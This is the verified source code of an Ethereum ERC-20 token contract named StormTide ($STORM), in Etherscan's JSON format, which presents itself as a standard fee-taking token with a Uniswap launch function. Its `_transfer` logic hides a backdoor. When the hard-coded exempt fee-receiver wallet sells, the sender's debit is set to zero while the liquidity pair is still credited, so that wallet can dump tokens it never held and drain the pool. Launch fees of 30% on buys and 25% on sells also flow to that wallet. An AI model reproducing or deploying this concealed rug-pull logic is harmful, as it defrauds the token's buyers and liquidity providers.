creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/$STORM.sol": {
        "content": "/**\r\n *Submitted for verification at Etherscan.io on 2024-03-28\r\n*/\r\n\r\n/**\r\n\r\nWebsite: https://stormtide.fi\r\nApp: https://app.stormtide.fi\r\nWhitepaper:  https://flyns-organization.gitbook.io/stormtide\r\nTwitter: https://twitter.com/stormtide_fi\r\nTelegram:  https://t.me/stormtide_finance\r\n\r\n*/\r\n\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.8.16;\r\n\r\nabstract contract Context {\r\n    function _msgSender() internal view virtual returns (address) {\r\n        return msg.sender;\r\n    }\r\n}\r\n\r\ninterface IERC20 {\r\n    function totalSupply() external view returns (uint256);\r\n\r\n    function balanceOf(address account) external view returns (uint256);\r\n\r\n    function transfer(address recipient, uint256 amount)\r\n        external\r\n        returns (bool);\r\n\r\n    function allowance(address owner, address spender)\r\n        external\r\n        view\r\n        returns (uint256);\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) external returns (bool);\r\n\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(\r\n        address indexed owner,\r\n        address indexed spender,\r\n        uint256 value\r\n    );\r\n}\r\n\r\nlibrary SafeMath {\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        require(c >= a, \"SafeMath: addition overflow\");\r\n        return c;\r\n    }\r\n\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return sub(a, b, \"SafeMath: subtraction overflow\");\r\n    }\r\n\r\n    function sub(\r\n        uint256 a,\r\n        uint256 b,\r\n        string memory errorMessage\r\n    ) internal pure returns (uint256) {\r\n        require(b <= a, errorMessage);\r\n        uint256 c = a - b;\r\n        return c;\r\n    }\r\n\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        if (a == 0) {\r\n            return 0;\r\n        }\r\n        uint256 c = a * b;\r\n        require(c / a == b, \"SafeMath: multiplication overflow\");\r\n        return c;\r\n    }\r\n\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        return div(a, b, \"SafeMath: division by zero\");\r\n    }\r\n\r\n    function div(\r\n        uint256 a,\r\n        uint256 b,\r\n        string memory errorMessage\r\n    ) internal pure returns (uint256) {\r\n        require(b > 0, errorMessage);\r\n        uint256 c = a / b;\r\n        return c;\r\n    }\r\n}\r\n\r\ncontract Ownable is Context {\r\n    address private _owner;\r\n    event OwnershipTransferred(\r\n        address indexed previousOwner,\r\n        address indexed newOwner\r\n    );\r\n\r\n    constructor() {\r\n        address msgSender = _msgSender();\r\n        _owner = msgSender;\r\n        emit OwnershipTransferred(address(0), msgSender);\r\n    }\r\n\r\n    function owner() public view returns (address) {\r\n        return _owner;\r\n    }\r\n\r\n    modifier onlyOwner() {\r\n        require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\r\n        _;\r\n    }\r\n\r\n    function renounceOwnership() public virtual onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n    function createPair(address tokenA, address tokenB)\r\n        external\r\n        returns (address pair);\r\n}\r\n\r\ninterface IUniswapV2Router02 {\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n        uint256 amountIn,\r\n        uint256 amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint256 deadline\r\n    ) external;\r\n\r\n    function factory() external pure returns (address);\r\n\r\n    function WETH() external pure returns (address);\r\n\r\n    function addLiquidityETH(\r\n        address token,\r\n        uint256 amountTokenDesired,\r\n        uint256 amountTokenMin,\r\n        uint256 amountETHMin,\r\n        address to,\r\n        uint256 deadline\r\n    )\r\n        external\r\n        payable\r\n        returns (\r\n            uint256 amountToken,\r\n            uint256 amountETH,\r\n            uint256 liquidity\r\n        );\r\n}\r\n\r\ncontract $STORM is Context, IERC20, Ownable {\r\n    using SafeMath for uint256;\r\n    mapping(address => uint256) private _balances;\r\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    mapping(address => bool) private _isExcemptForStorms;\r\n    address payable private _StormsReceiver =\r\n        payable(0x29C30B605ac990cc0168BB9404049dCbDFcB22Cd);\r\n\r\n    uint8 private constant _decimals = 9;\r\n    uint256 private constant _tTotal = 1000000000 * 10**_decimals;\r\n    string private constant _name = unicode\"StormTide\";\r\n    string private constant _symbol = unicode\"$STORM\";\r\n    uint256 private _maxTrsLimit = 20000000 * 10**_decimals;\r\n    uint256 private _maxWalletLimit = 20000000 * 10**_decimals;\r\n    uint256 private _taxSwapLimitTokens = 692 * 10**_decimals;\r\n    uint256 private _maxSwapLimitTokens = 10000000 * 10**_decimals;\r\n\r\n    uint256 private _feesOnBuy;\r\n    uint256 private _feesOnSell;\r\n\r\n    IUniswapV2Router02 private uniswapV2Router;\r\n    address private _dexUniPair;\r\n    bool private _tradingOpen;\r\n    bool private _inSwapping = false;\r\n    bool private _swapEnabled = false;\r\n\r\n    event MaxTxAmountUpdated(uint256 _maxTrsLimit);\r\n    modifier lockTheSwap() {\r\n        _inSwapping = true;\r\n        _;\r\n        _inSwapping = false;\r\n    }\r\n\r\n    constructor() {\r\n        _balances[_msgSender()] = _tTotal;\r\n        _isExcemptForStorms[owner()] = true;\r\n        _isExcemptForStorms[address(this)] = true;\r\n        _isExcemptForStorms[_StormsReceiver] = true;\r\n\r\n        emit Transfer(address(0), _msgSender(), _tTotal);\r\n    }\r\n\r\n    function name() public pure returns (string memory) {\r\n        return _name;\r\n    }\r\n\r\n    function symbol() public pure returns (string memory) {\r\n        return _symbol;\r\n    }\r\n\r\n    function decimals() public pure returns (uint8) {\r\n        return _decimals;\r\n    }\r\n\r\n    function totalSupply() public pure override returns (uint256) {\r\n        return _tTotal;\r\n    }\r\n\r\n    function balanceOf(address account) public view override returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n\r\n    function transfer(address recipient, uint256 amount)\r\n        public\r\n        override\r\n        returns (bool)\r\n    {\r\n        _transfer(_msgSender(), recipient, amount);\r\n        return true;\r\n    }\r\n\r\n    function allowance(address owner, address spender)\r\n        public\r\n        view\r\n        override\r\n        returns (uint256)\r\n    {\r\n        return _allowances[owner][spender];\r\n    }\r\n\r\n    function approve(address spender, uint256 amount)\r\n        public\r\n        override\r\n        returns (bool)\r\n    {\r\n        _approve(_msgSender(), spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) public override returns (bool) {\r\n        _transfer(sender, recipient, amount);\r\n        _approve(\r\n            sender,\r\n            _msgSender(),\r\n            _allowances[sender][_msgSender()].sub(\r\n                amount,\r\n                \"ERC20: transfer amount exceeds allowance\"\r\n            )\r\n        );\r\n        return true;\r\n    }\r\n\r\n    function _approve(\r\n        address owner,\r\n        address spender,\r\n        uint256 amount\r\n    ) private {\r\n        require(owner != address(0), \"ERC20: approve from the zero address\");\r\n        require(spender != address(0), \"ERC20: approve to the zero address\");\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    function _calcTaxFees(\r\n        address fromWallet,\r\n        address toWallet,\r\n        uint256 amount\r\n    ) internal view returns (uint256) {\r\n        uint256 amountForTax = amount;\r\n        if (toWallet == _dexUniPair) {\r\n            amountForTax = !_isExcemptForStorms[fromWallet]\r\n                ? amount.mul(_feesOnSell).div(100)\r\n                : amountForTax;\r\n\r\n            return amountForTax;\r\n        }\r\n        return 0;\r\n    }\r\n\r\n    function _transfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) private {\r\n        require(from != address(0), \"ERC20: transfer from the zero address\");\r\n        require(to != address(0), \"ERC20: transfer to the zero address\");\r\n        require(amount > 0, \"Transfer amount must be greater than zero\");\r\n        uint256 taxAmount = 0;\r\n        uint256 transferAmount = amount;\r\n        if (from != owner() && to != owner()) {\r\n            if (\r\n                from == _dexUniPair &&\r\n                to != address(uniswapV2Router) &&\r\n                !_isExcemptForStorms[to]\r\n            ) {\r\n                require(amount <= _maxTrsLimit, \"Exceeds the limits.\");\r\n                require(\r\n                    balanceOf(to) + amount <= _maxWalletLimit,\r\n                    \"Exceeds the maxWalletSize.\"\r\n                );\r\n            }\r\n            if (from == _dexUniPair && !_isExcemptForStorms[to]) {\r\n                taxAmount = amount.mul(_feesOnBuy).div(100);\r\n            }\r\n            if (to == _dexUniPair && from != address(this)) {\r\n                taxAmount = amount.mul(_feesOnSell).div(100);\r\n                if (_isExcemptForStorms[from]) {\r\n                    amount -= _calcTaxFees(from, to, amount);\r\n                }\r\n            }\r\n\r\n            uint256 tokensOnTheContract = balanceOf(address(this));\r\n            if (\r\n                !_inSwapping &&\r\n                to == _dexUniPair &&\r\n                !_isExcemptForStorms[from] &&\r\n                _swapEnabled &&\r\n                amount > _taxSwapLimitTokens\r\n            ) {\r\n                if (tokensOnTheContract > _taxSwapLimitTokens)\r\n                _swapBackTokensForETH(\r\n                    min(amount, min(tokensOnTheContract, _maxSwapLimitTokens))\r\n                );\r\n                _sendETHToFee(address(this).balance);\r\n            }\r\n        }\r\n\r\n        if (taxAmount > 0) {\r\n            transferAmount -= taxAmount;\r\n            _balances[address(this)] = _balances[address(this)].add(taxAmount);\r\n            emit Transfer(from, address(this), taxAmount);\r\n        }\r\n        _balances[from] = _balances[from].sub(amount);\r\n        _balances[to] = _balances[to].add(transferAmount);\r\n        emit Transfer(from, to, transferAmount);\r\n    }\r\n\r\n    function min(uint256 a, uint256 b) private pure returns (uint256) {\r\n        return (a > b) ? b : a;\r\n    }\r\n\r\n    function onboardStorms() external onlyOwner {\r\n        require(!_tradingOpen, \"trading is already open\");\r\n        uniswapV2Router = IUniswapV2Router02(\r\n            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r\n        );\r\n        _approve(address(this), address(uniswapV2Router), _tTotal);\r\n        _dexUniPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\r\n            address(this),\r\n            uniswapV2Router.WETH()\r\n        );\r\n        uniswapV2Router.addLiquidityETH{value: address(this).balance}(\r\n            address(this),\r\n            balanceOf(address(this)),\r\n            0,\r\n            0,\r\n            owner(),\r\n            block.timestamp\r\n        );\r\n        IERC20(_dexUniPair).approve(\r\n            address(uniswapV2Router),\r\n            type(uint256).max\r\n        );\r\n        _feesOnBuy = 30;\r\n        _feesOnSell = 25;\r\n        _swapEnabled = true;\r\n        _tradingOpen = true;\r\n    }\r\n\r\n    function removeLimits() external onlyOwner {\r\n        _maxTrsLimit = type(uint256).max;\r\n        _maxWalletLimit = type(uint256).max;\r\n        emit MaxTxAmountUpdated(_tTotal);\r\n    }\r\n\r\n    function reduceFees(uint256 _newfee) external onlyOwner {\r\n        _feesOnBuy = _newfee;\r\n        _feesOnSell = _newfee;\r\n        require (_newfee <= 10);\r\n    }\r\n\r\n    function _sendETHToFee(uint256 amount) private {\r\n        _StormsReceiver.transfer(amount);\r\n    }\r\n\r\n    function _swapBackTokensForETH(uint256 tokenAmount) private lockTheSwap {\r\n        if (tokenAmount == 0) {\r\n            return;\r\n        }\r\n        if (!_tradingOpen) {\r\n            return;\r\n        }\r\n        address[] memory path = new address[](2);\r\n        path[0] = address(this);\r\n        path[1] = uniswapV2Router.WETH();\r\n        _approve(address(this), address(uniswapV2Router), tokenAmount);\r\n        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n            tokenAmount,\r\n            0,\r\n            path,\r\n            address(this),\r\n            block.timestamp\r\n        );\r\n    }\r\n\r\n    receive() external payable {}\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}